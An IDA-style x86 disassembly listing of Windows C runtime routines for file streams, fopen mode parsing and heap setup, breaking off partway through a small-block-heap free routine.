; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, ds:off_4395A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------

loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_4395A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------

loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, ds:dword_48B440
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714

loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730

loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		call	ds:off_424078
		test	eax, eax
		jnz	short loc_41A730
		call	ds:dword_42408C	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------

loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp

loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------

loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	ds:dword_48A018, 0
		mov	ds:dword_48A014, 9

loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh

loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------

loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	ds:dword_48B320, esi
		jle	short loc_41A893

loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, ds:dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------

loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax

loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, ds:dword_48B320
		jl	short loc_41A846

loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi

loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_43BCD8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------

loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_43BCF8
		jnz	short loc_41A92B
		push	1
		pop	eax

loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	ds:dword_48A1D8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	ds:dword_48A06C[eax*4],	0
		push	ebx
		push	edi
		lea	edi, ds:48A06Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------

loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx

loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_48A1E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------

loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------

loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h

loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2

loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx

loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97

loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD

loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------

loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	ds:dword_48A1D8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, ds:dword_48B320
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, ds:dword_48A310
		mov	edi, ebx

loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------

loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------

loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, ds:dword_48A310
		mov	[edi+ecx], eax
		mov	eax, ds:dword_48A310
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi

loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_48A078
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: sub_41AB9C+136p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	ds:off_424100
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB9C	proc near		; CODE XREF: sub_41ACE4+20p

var_122C	= byte ptr -122Ch
var_19C		= byte ptr -19Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp+var_98]
		push	ebx
		push	eax
		mov	[ebp+var_98], 94h
		call	ds:dword_424144	; GetVersionExA
		test	eax, eax
		jz	short loc_41ABDF
		cmp	[ebp+var_88], 2
		jnz	short loc_41ABDF
		cmp	[ebp+var_94], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------

loc_41ABDF:				; CODE XREF: sub_41AB9C+27j
					; sub_41AB9C+30j ...
		lea	eax, [ebp+var_122C]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	ds:dword_4241A4	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp+var_122C]
		cmp	[ebp+var_122C],	bl
		jz	short loc_41AC21

loc_41AC0E:				; CODE XREF: sub_41AB9C+83j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al

loc_41AC1C:				; CODE XREF: sub_41AB9C+76j
					; sub_41AB9C+7Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E

loc_41AC21:				; CODE XREF: sub_41AB9C+70j
		lea	eax, [ebp+var_122C]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp+var_122C]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------

loc_41AC43:				; CODE XREF: sub_41AB9C+9Dj
		lea	eax, [ebp+var_19C]
		push	104h
		push	eax
		push	ebx
		call	ds:off_424094
		cmp	[ebp+var_19C], bl
		lea	ecx, [ebp+var_19C]
		jz	short loc_41AC77

loc_41AC64:				; CODE XREF: sub_41AB9C+D9j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al

loc_41AC72:				; CODE XREF: sub_41AB9C+CCj
					; sub_41AB9C+D0j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64

loc_41AC77:				; CODE XREF: sub_41AB9C+C6j
		lea	eax, [ebp+var_19C]
		push	eax
		lea	eax, [ebp+var_122C]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx

loc_41AC8C:				; CODE XREF: sub_41AB9C+A5j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3

loc_41ACA5:				; CODE XREF: sub_41AB9C+115j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------

loc_41ACAE:				; CODE XREF: sub_41AB9C+10Cj
		inc	ecx

loc_41ACAF:				; CODE XREF: sub_41AB9C+110j
		cmp	[ecx], bl
		jnz	short loc_41ACA5

loc_41ACB3:				; CODE XREF: sub_41AB9C+107j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1

loc_41ACCE:				; CODE XREF: sub_41AB9C+5Cj
					; sub_41AB9C+F2j ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41AB6F
		cmp	[ebp+var_4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41ACE1:				; CODE XREF: sub_41AB9C+3Ej
					; sub_41AB9C+126j ...
		pop	ebx
		leave
		retn
sub_41AB9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ACE4	proc near		; CODE XREF: _0:00419C3Ep

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_4241AC	; HeapCreate
		test	eax, eax
		mov	ds:dword_48B684, eax
		jz	short loc_41AD3A
		call	sub_41AB9C
		cmp	eax, 3
		mov	ds:dword_48B688, eax
		jnz	short loc_41AD20
		push	3F8h
		call	sub_41AD41
		pop	ecx
		jmp	short loc_41AD2A
; ---------------------------------------------------------------------------

loc_41AD20:				; CODE XREF: sub_41ACE4+2Dj
		cmp	eax, 2
		jnz	short loc_41AD3D
		call	sub_41B888

loc_41AD2A:				; CODE XREF: sub_41ACE4+3Aj
		test	eax, eax
		jnz	short loc_41AD3D
		push	ds:dword_48B684
		call	ds:dword_4241A8	; HeapDestroy

loc_41AD3A:				; CODE XREF: sub_41ACE4+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41AD3D:				; CODE XREF: sub_41ACE4+3Fj
					; sub_41ACE4+48j
		push	1
		pop	eax
		retn
sub_41ACE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD41	proc near		; CODE XREF: sub_41ACE4+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	ds:dword_48B684
		call	ds:dword_4240E8	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_48B67C, eax
		jnz	short loc_41AD5E
		retn
; ---------------------------------------------------------------------------

loc_41AD5E:				; CODE XREF: sub_41AD41+1Aj
		mov	ecx, [esp+arg_0]
		and	ds:dword_48B674, 0
		and	ds:dword_48B678, 0
		push	1
		mov	ds:dword_48B670, eax
		mov	ds:dword_48B680, ecx
		mov	ds:dword_48B668, 10h
		pop	eax
		retn
sub_41AD41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_48B678
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_48B67C
		lea	ecx, [eax+ecx*4]

loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------

loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx

loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------

loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------

loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]

loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx

loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
